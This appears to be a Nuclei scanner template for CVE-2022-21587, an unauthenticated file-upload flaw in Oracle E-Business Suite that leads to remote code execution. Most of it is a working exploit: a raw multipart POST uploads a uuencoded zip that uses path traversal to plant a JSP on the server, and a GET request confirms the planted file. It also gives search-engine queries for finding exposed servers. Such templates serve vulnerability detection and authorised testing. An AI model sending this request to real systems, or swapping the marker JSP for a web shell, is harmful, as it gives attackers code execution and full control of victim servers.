id: CVE-2022-21587

info:
  name: Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch,dogasantos,s4e-io
  severity: critical
  description: |
    Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Unauthenticated attackers can upload arbitrary files including malicious scripts via the BneViewerXMLService endpoint, achieving remote code execution and complete server compromise.
  remediation: |
    Apply the necessary security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/
    - https://www.oracle.com/security-alerts/cpuoct2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21587
    - http://packetstormsecurity.com/files/171208/Oracle-E-Business-Suite-EBS-Unauthenticated-Arbitrary-File-Upload.html
    - https://github.com/manas3c/CVE-POC
    - https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_cve-2022-21587
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-21587
    cwe-id: CWE-306
    epss-score: 0.94397
    epss-percentile: 0.99975
    cpe: cpe:2.3:a:oracle:e-business_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: oracle
    product: e-business_suite
    shodan-query: http.title:"login" "x-oracle-dms-ecid" 200
    fofa-query: title="login" && header="x-oracle-dms-ecid"
    google-query: intitle:"login" "x-oracle-dms-ecid"
  tags: cve,cve2022,intrusive,ebs,unauth,kev,rce,oast,oracle,packetstorm,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /OA_HTML/BneOfflineLOVService?bne:uueupload=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv

        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
        Content-Disposition: form-data; name="bne:uueupload"

        TRUE
        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
        Content-Disposition: form-data; name="uploadfilename";filename="taintedlove.zip"

        begin 644 taintedlove.zip
        M4$L#!!0``````$1QRUK1ELZ-30```$T```!*````+BXO+BXO+BXO+BXO+BXO
        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V%P<&QI8V%T:6]N<R]F;W)M<R]F
        M;W)M<R]T86EN="YJ<W!C870@/B!T86EN="YJ<W`*/"4*("`@(&]U="YP<FEN
        M="@B,#8Q96$S,#8M-#9E9BTQ,68P+6%D.30M9C-D,3@S8C`V.#EA(BD["B4^
        M"E!+`0(4`Q0``````$1QRUK1ELZ-30```$T```!*``````````````"D@0``
        M```N+B\N+B\N+B\N+B\N+B]&35=?2&]M92]/<F%C;&5?14)3+6%P<#$O87!P
        M;&EC871I;VYS+V9O<FUS+V9O<FUS+W1A:6YT+FIS<%!+!08``````0`!`'@`
        (``"U````````
        `
        end
        ------WebKitFormBoundaryZsMro0UsAQYLDZGv--

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /forms/taint.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '061ea306-46ef-11f0-ad94-f3d183b0689a'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100848d72e66346eb31a1205f903fa60d4f9d46cbd24ff1f781bd3cc6630a8710f502201e565f21b6ac7edd2643894a598c3372ee6da8002c13013dd535419d9bb847c2:922c64590222798bb761d5b6d8e72950